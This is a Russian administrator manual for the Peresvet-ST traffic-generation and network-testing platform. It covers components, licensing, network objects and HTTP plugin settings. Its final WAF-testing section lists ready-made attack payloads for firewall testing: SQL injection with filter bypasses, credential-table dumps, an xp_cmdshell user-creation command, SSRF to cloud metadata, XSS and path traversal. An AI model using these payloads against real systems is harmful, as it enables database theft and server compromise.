Введение
Настоящий документ предназначен для администратора системы Пересвет-СТ.
Компоненты ПО
Программное обеспечение Пересвет-СТ представляет собой комплексное решение для проведения тестирования, эмуляции сети и работы приложений.
ПО Пересвет-СТ состоит из следующих компонентов (см. Рис. 1):
Состав:
-
peresvet-st-controller - центральный управляющий компонент системы. Контроллер координирует всю логику тестирования - инициирует тесты, контролирует состояние агентов, собирает и обрабатывает статистику.
Функции:
- Принимает команды и параметры от пользователя.
- Управляет работой агента (peresvet-st-agent), передаёт ему параметры для генерации трафика.
- Собирает, агрегирует и сохраняет результаты тестирования.
- Взаимодействует с системами хранения и визуализации данных (Postgres, Clickhouse, Grafana).
-
peresvet-st-agent - компонент системы, отвечающий за генерацию трафика. Агент непосредственно осуществляет сетевую нагрузку и измерения, руководствуясь полученными инструкциями от контроллера.
Функции:
- Получает параметры генерации трафика от контроллера.
- Использует специализированные сетевые стеки (DPDK / F-stack (библиотеки)) для генерации трафика с заданными параметрами.
- Формирует результаты измерений и отправляет их обратно контроллеру.
-
DPDK / F-stack (библиотеки) - Высокопроизводительные библиотеки сетевого ввода-вывода (I/O), подключаемые к peresvet-st-agent во время компиляции.
Функции: Обеспечивают агенту возможность эффективно отправлять и принимать большие объёмы сетевого трафика, минуя ядро операционной системы для достижения максимальной производительности.
DPDK
- Обязательный компонент итоговой сборки;
- Обеспечивает прямой доступ к сетевым PCI-устройствам и высокопроизводительный сетевой ввод-вывод.
F-stack
- Используется только на этапе компиляции и интегрируется в бинарный файл агента;
- Отсутствует как отдельный компонент в итоговой среде выполнения.
-
Postgres - реляционная база данных для хранения структурированных данных тестирования, таких как параметры запусков и метаданные тестов.
-
Clickhouse - колоночная СУБД, оптимизированная для хранения и оперативного анализа больших объёмов телеметрических данных и результатов тестирования.
-
Grafana - система визуализации и анализа данных. Предоставляет пользователю удобный web-интерфейс для просмотра графиков, метрик и анализа результатов испытаний.
-
Docker / Docker-compose - система контейнеризации и оркестрации сервисов. Позволяет развернуть компоненты системы Clickhouse, Postgres, в виде контейнеров.

Рис. 1 – Схема компонентов ПО Пересвет-СТ
Описание операций Пересвет-СТ
Веб-интерфейс
Для настройки Пересвет-СТ необходимо обратиться по протоколу HTTP на назначенный управляющий интерфейс IP-адреса по порту 8080.
При входе в Пересвет-СТ администратор попадает на главную страницу.
На главной странице пользователю доступны следующие разделы:
- Задачи – предназначена для генерации трафика. В данном разделе представлены задачи, что позволяют использовать различные профили генерации трафика;
- Агенты и сети – предназначена для настройки параметров агентов и объектов, которые будут использоваться в профилях генерации трафика;
- Пользователи – предназначена для настройки пользователей, которые относятся к настройкам Пересвет-СТ.
Настройка «Агенты и сети»
Вкладка «Агенты и сети" предназначена для конфигурации параметров агентов и объектов, необходимых для создания заданий по генерации трафика.
Агенты
Агент — это программно-аппаратное средство, генерирующее трафик по заданным параметрам, и может быть представлен в виде сервера или виртуальной машины.
Первичная смена пароля
Пройдя первую аутентификацию в веб-интерфейсе Пересвет-СТ администратору будет предложено сменить текущий пароль. Для смены пароля необходимо ввести новый пароль в поля «Пароль» и «Подтверждение пароля» (см. Рис. 2)

Рис. 2 — Окно со сменой пароля
Добавление лицензии для агента
Для добавления лицензии на агент необходимо следующее:
- Перейти во вкладку Агент и сети → Агенты;
- Найти нужный агент и нажать на кнопку
мета-данные агента в строке нужного агента и выбрать окно «Сведения» - Откроется окно с метаданными агента (пример представлен на Рис. 3). В этом окне необходимо скопировать HWID агента.

Рис. 3 — Окно с мета-данными агента
-
Далее необходимо направить электронное письмо с HWID агента на почту support@peresvet.it с указанием юридического лица и контактных данных.
-
Далее в ответ на письмо с HWID агента будет передан файл с лицензией.
-
Для того, чтобы загрузить лицензию необходимо нажать на кнопку
мета-данные агента в строке нужного агента и выбрать окно «Загрузить лицензию» -
Далее нажмите на кнопку «Просмотр файлов» и выберете файл лицензии в окне поиска файлов или перетащите в файл в область, выделенную пунктиром.
-
После загрузки файла с лицензией в контроллер, нажмите кнопку «Загрузить на агента»
-
После этого закрыть и снова открыть окно сведения и убедится, что лицензия соответствует продуктам, датам начала и окончания действий, пропускной способности.
Сети
Данный раздел необходим для создания объектов, которые будут использоваться в профилях генерации трафика.
Объекты сети делятся на 2 типа:
-
Отправитель - данный объект будет использоваться в плагинах генерации трафика как «Отправитель».
-
Получатель - данный объект будет использоваться в плагинах генерации трафика как «Получатель».
Объект типа отправитель делится на 2 типа:
-
Выключенный спуффинг по паттерну - данный объект будет использоваться в Stateful плагинах.
-
Включенный спуффинг по паттерну - данный объект будет использоваться в Stateless плагинах.
Добавление сети типа «отправителя» для Stateful плагинов
Для того, чтобы создать объект типа «отправитель» для Stateful плагинов необходимо:
-
Перейти в раздел Агент и сети → Сети;
-
Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);

Рис. 4 — Вкладка «Сети»
-
Заполнить поля, описание которых находится в Табл. 3;
Табл. 3 — Поля для создания объекта типа «отправитель» для Stateful плагина
| Название | Описание | Значение |
|---|---|---|
| Название сети | Название объекта, которое будет использоваться в настройках плагинов | Заполнить название сети |
| Тип сети | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Отправитель |
| Спуфинг по паттерну | Включение генерации IP-адресов по определенному патерну, указанному в следующем поле. | Тумблер выключен |
| Подсеть | IP-адреса из данной подсети будут использоваться в качестве «отправителя» при отправлении пакета. | Заполните поле в формате CIDR (например, 10.10.10.0/24) |
| Исключенные адреса | Для вышеуказанной подсети Пересвет-СТ предложит выбрать адреса, которые будут исключаться при отправке пакетов (необходимо выбрать занятые другими устройствами адреса, чтобы избежать перезаписи ARP-таблиц) | Выберете адреса из списка |
| Шлюз | IP-адрес устройства, которое будет использоваться для соединения подсети, указанной выше, и той, что будет указана в рамках плагина в качестве «получателя», обеспечивая передачу данных между ними. | Укажите IP-адрес (например, 10.10.10.1) |
-
Далее, для создания сети необходимо нажать на кнопку «Применить».
Добавление сети типа «отправителя» для Stateless плагинов
Для того, чтобы создать объект типа «отправитель» для Stateless плагинов необходимо:
-
Перейти в раздел Агент и сети → Сети;
-
Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);
-
Заполнить поля, описание которых находится в Табл. 4;
Табл. 4 — Поля для создания объекта типа «отправитель» для Stateless плагина
| Название | Описание | Значение |
|---|---|---|
| Название сети | Название объекта, которое будет использоваться в настройках плагинов | Заполнить название сети |
| Тип сети | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Отправитель |
| Спуфинг по паттерну | Включение генерации IP-адресов по определенному паттерну, указанному в следующем поле. | Тумблер включен |
| Паттерн | Паттерн, по которому будут генерироваться IP-адреса, которые будут использоваться в качестве «отправителя» при отправлении пакета. | Заполните поле в формате Х.*.*.*, где Х – Этот октет всегда должен быть числом. В контексте IPv4 это число должно находиться в диапазоне от 0 до 255. Например, допустимыми значениями могут быть 0, 1, 2, ..., 255. Остальные три октета (*.*.*): Каждый из этих октетов может быть либо числом в диапазоне от 0 до 255, либо символом *, который обозначает, что в этом месте может находиться любое число от 0 до 255. Пример: 192.*.*.* — первый октет фиксирован (192), остальные могут быть любыми числами от 0 до 255. 10.0.. — первый октет фиксирован (10), второй фиксирован (0), а третий и четвертый могут принимать любые значения. 172.16.5.100 — конкретный IP-адрес, где все октеты заданы числами. |
| Адрес сервера | IP-адрес с которого агент будет обмениваются информацией о своих IP и MAC-адресах. | Укажите IP-адрес (например, 10.10.10.2) |
| Шлюз | IP-адрес устройства, которое будет использоваться для соединения подсети, указанной выше, и той, что будет указана в рамках плагина в качестве «получателя», обеспечивая передачу данных между ними. | Укажите IP-адрес (например, 10.10.10.1) |
-
Далее, для создания сети необходимо нажать на кнопку «Применить».
Добавление сети типа «получателя»
Для того, чтобы создать объект типа «получатель» необходимо:
-
Перейти в раздел Агент и сети → Сети;
-
Далее нажать на кнопку «+ Создать сеть» (см. Рис. 4);
-
Заполнить поля, описание которых находится в Табл. 5.
Табл. 5 — Поля для создания объекта типа «получатель»
| Название | Описание | Значение |
|---|---|---|
| Название сети | Название обьекта, которое будет использоваться в настройках плагинов | Заполнить название сети |
| Тип сети | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Получатель |
| Подсеть | IP-адреса из данной подсети будут использоваться в качестве «получателя» при отправлении пакета. | Заполните поле в формате CIDR (например, 10.10.10.10 или 10.10.10.0/24) |
| Исключенные адреса | Для вышеуказанной подсети Пересвет-СТ предложит выбрать адреса, которые будут исключаться при отправке пакетов | Выберете адреса из списка |
| Порты | Поле «Порты» отвечает за указание конкретных сетевых портов, через которые будет происходить обмен данными в рамках данной сети или подключения. | Перечислите числовые порты (например, 80 или 80,81,82 и тд.) |
-
Далее, для создания сети необходимо нажать на кнопку «Применить».
MAC-адреса
Данный раздел необходим для создания объектов, которые будут использоваться в профилях генерации трафика.
Объекты сети делятся на 2 типа:
-
Отправитель - данный объект будет использоваться в плагинах генерации трафика как «Отправитель».
-
Получатель - данный объект будет использоваться в плагинах генерации трафика как «Получатель».
Добавление MAC-адреса типа «отправителя»
Для того, чтобы создать объект типа «отправителя» необходимо:
-
Перейти в раздел Агент и сети → MAC-адреса;
-
Далее нажать на кнопку «+ Создать MAC-адрес» (см. Рис. 5);

Рис. 5 — Вкладка «MAC-адреса»
-
Заполнить поля, описание которых находится в Табл. 6.
Табл. 6 — Поля для создания объекта «MAC-адреса» типа «отправитель»
| Название | Описание | Значение |
|---|---|---|
| Название MAC-адреса | Название обьекта, которое будет использоваться в настройках плагинов | Заполнить название MAC-адреса |
| Тип MAC-адреса | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Отправитель |
| MAC-адрес | Значение MAC-адреса, которое будет использоваться в качестве «отправителя» при отправлении пакета. | В это поле вводится значение MAC-адреса устройства в стандартном формате (например, AB:CD:EF:12:34:56) |
Добавление MAC-адреса типа «получателя»
Для того, чтобы создать объект типа «получателя» необходимо:
-
Перейти в раздел Агент и сети → MAC-адреса;
-
Далее нажать на кнопку «+ Создать MAC-адрес» (см. Рис. 5);
-
Заполнить поля, описание которых находится в Табл. 7.
Табл. 7 — Поля для создания объекта «MAC-адреса» типа «отправитель»
| Название | Описание | Значение |
|---|---|---|
| Название MAC-адреса | Название обьекта, которое будет использоваться в настройках плагинов | Заполнить название MAC-адреса |
| Тип MAC-адреса | Отправитель – данный объект будет использоваться в плагинах генерации трафика как «отправитель» Получатель – данный объект будет использоваться в плагинах генерации трафика как «Получатель» | Получатель |
| MAC-адрес | Значение MAC-адреса, которое будет использоваться в качестве «отправителя» при отправлении пакета. | В это поле вводится значение MAC-адреса устройства в стандартном формате (например, AB:CD:EF:12:34:56) |
Настройка «Задачи»
Задачи — это инструменты для генерации трафика с использованием различных плагинов.
Для настройки Пересвет-СТ для проведения генерации трафика необходимо:
-
Используя любой веб-браузер, подключиться к веб-интерфейсу Пересвет-СТ.
-
Перейти в раздел Задачи → Новая Задача (Рис. 6).

Рис. 6 – Переход в раздел Задачи»
- Выбрать Плагин: <название Плагина>.
Настройка «Плагина»
Плагин – инструмент, предназначенный для выбора типа определенного генерируемого трафика.
HTTP
HTTP – плагин для генерации различного веб-трафика.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 8.
Табл. 8 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 9;
Табл. 9 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 10;
Табл. 10 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 11;
Табл. 11 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 12;
Табл. 12 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | Выберете значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | Выберете из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON). Параметр доступен если выбраны методы: POST, PUT или PATCH | Заполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 13;
Табл. 13 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 14.
Табл. 14 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
WAF
WAF – плагин для генерации различного веб-трафика с заданными уязвимостями.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 15;
Табл. 15 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
- Цели - параметры для выбора объекта, в который будет направляться трафик (см .заголовок «Сети»), описание которых указаны в Табл. 16;
Табл. 16 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) - параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 17;
Табл. 17 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 18;
Табл. 18 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
4) TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 19;
Табл. 19 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 20;
Табл. 20 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером (Параметр доступен, если параметр HTTPs включен) | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | Выберете значение HTTP 1.1 или HTTP 2.0 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, значением заговолка является: «Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36» ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
6) WAF модули – готовые вредоносные запросы, состоящие из следующих видов тестирования:
####Базовое тестирование WAF, описание приведено в Табл. 21
Табл. 21 – Параметры «Базовое тестирование WAF»
| Название | Описание | Значение |
|---|---|---|
| Broken Access Control | Запрос на запрещенный путь | (GET /admin/delete\_user?id=1) |
| Injection URL (SQLi) | SQL в URL | ?id=1+union+select+1,2,3-- |
| Injection JSON (SOLi) | SQL в JSON | ({“user”: {“$ne”: null}}) |
| Injection (Command) | OS Command | (GET /?id=system(cd /var/jet && make &\> /dev/null);) |
| Insecure Desing | JSON логика | ({“action”: “makeAdmin”, “user”: “guest”}) |
| Security Misconfig | Запрос на .git | (Get /.git/config) |
| Outdated Components | Уязвимый плагин WP | GET /wp-content/plugins/revslider/temp/update\_extract/revslider/ |
| Auth Failures | С подделкой токена | (Cookie: auth\_token=invalid) |
| Data Integrity | Фейковый JS | (GET /cdn/js/app.js?v=999999999) |
| Path Traversal | Обход файлов | (GET /?home=/ ../ ../ ../ ../ ../) |
| SSRF | Запрос в медиаданные AWS | ({“url”: [http://169.254.169.254/latest/meta-data/](http://169.254.169.254/latest/meta-data/)})` |
| XSS: Basic | Базовый XSS | (<script\>alert(xss)</script>) |
| XSS: Obfuscated | Обфусцированный XSS | (\<scr\<script\>ipt\>alert(xss)\</scr\<script\>ipt\>) |
| Bypass: SQLi with URL-encoding | SQLi c URL-энкодингом | ( q=%27%20OR%201 %3D1-) |
| Evasion: Chunked Encoding | Chunked Encoding | (Transfer-Encoging: chunked \+ encoded payloag) |
Продвинутое тестирование WAF
SQLi Advanced, описание приведено в Табл. 22;
Генерирует десятки разнообразных SQL-инъекций: от простых UNION SELECT до обфусцированных и байпас-атак, включая Blind SQLi и Time-based SQLi. Проверяет устойчивость к самым изощрённым попыткам обхода фильтрации SQL
Табл. 22 – Параметры « SQLi Advanced»
| Название | Значение |
|---|---|
| Basic UNOIN SELECT | /?id=1+union+select+1,2,3-- |
| Comment-obfuscated UNION | /?id=1+un/\*\*/ion+se/\*\*lect+1,2,3-- |
| Case-mised UNION | /?id=1+UnIoN/\*\*/SeLecT/\*\*/1,2,3-- |
| Double UNION-SELECT bypass | /?id=1+UNunionION+SEselectLECT+1,2,3-- |
| Vertical tab separation | /?id=1+uni%0bon+se%0blect+1,2,3-- |
| Division error + hex payload | /?id=0+div+1+union%23foo\*%2F\*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent\_user |
| Massive hex payload | /?id=1+and+(select%201)=(select%200x414141414141441414141414114141414141414141414141414141414141414141%E2%80%A6.)+union+select+1,2,version(),database(),user(),6,7,8,9,10 |
| MySQL table dump | /?id=1 /\*\!union select\*/ 1,table\_name from /\*\!information\_schema.tables\*/ |
| Hex-encoded table | /?id=1 /\*\!union select\*/ 1,column\_name from /\*\!information\_schema.columns where table\_name \= 0x7573657273\*/ |
| Compact data extraction | /?id=1 /\*\!union select\*/ /\*\!user,password\*/ from /\*\!users\*/ |
| XP_CMDSHELL | /?id=1\\'; EXEC master..xp\_cmdshell "net user zeq3ul UrWaFisShiT /add" \-- |
| LPAD function' | /id/1/\*\*/ |
| Vertical tab LPAD | /id/1%0b |
| Double-encoded UNION | /?id=1%252f%252a\*/union%252f%252a/select%252f%252a\*/1,2,3%252f%252a\*/from%252f%252a\*/users-- |
| Current_user | /?id=0%20div%201%20union%20select%201,2,current\_user |
| MySQL-specific UNION | /?id=1/\*\!UnIoN\*/SeLecT+1,2,3-- |
| Concat table names | /?id=/\*\!UnIoN\*/+/\*\!SeLecT\*/+1,2,concat(/\*\!table\_n%20ame\*/)+FrOm/\*\!information\_schema\*/.tables/\*\!WhErE\*/+/\*\!TaBlE\_sChEMa\*/%20+like+database()-- |
| Query stacking 1 | /?q=select name\&q=password from users |
| Query stacking 2 | /?q=select name,password from users |
| Fragmented query | /?q=select/\*\&q=\*/name& amp;q=password/\*\&q=\*/from/\*\&q=\*/users |
| Version concat | /?p=-1 union /\*\!select\*/ concat\_ws(0x3a,version(),database(),user()) |
| Column enum | /?p=-373867 union select 1,2,column\_name,4,5 from information\_schema.columns/\* |
| Full system info | /?p=-3195 union /\*\!select\*/ 0,1,2,3,4,5,6,7,8,9,concat\_ws(0x3a,@@version,user(),database(),@@version\_compile\_os),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- |
| Subquery | /?p=( ( SELECT @a ) OR 'b' ) \-- |
| Function bypass | /?p=( (SELECT 'a' ) OR COS ( 'b') ) \-- |
| Version check | /?p=-1' or 1=@@version \-- |
| Char-based version | /?p=3520 AND (version() like char(51,46,50,51,46,53,52)) |
| Limit abuse | /?p=1' union (select 's' from users limit 1,1) |
| Version 2 | /?p=-001 union select 1,2,3,4,5,version(),7,8,9,10 |
| System user | /?p=-1 or 1=(select system\_user)-- |
| Char alert | /?p=1 union select 1,char(72,97,99,107,101,100,32,98,121,32,91,32,99,97,115,104,32,93),3,4,5,6,7/\* |
| Substring | /?p=22 AND SUBSTRING((y()),1,1)=x/\* |
| Benchmark | /?p="+if(benchmark(3000000,MD5(1)),NULL,NULL))%20-- |
| Nested benchmark | /?p=)) and 0=benchmark(3000000,MD5(1))%20-- |
| Waitfor delay | /?p=),NULL)%20waitfor%20delay%20'0:0:20'%20-- |
| Nested sleep | /?p=,(select \* from (select(sleep(10)))a) |
| JSON extract | /?p=-1748 OR JSON\_EXTRACT("{""nCvS"": 9981}", "$.nCvS") \= 9981\*7055 |
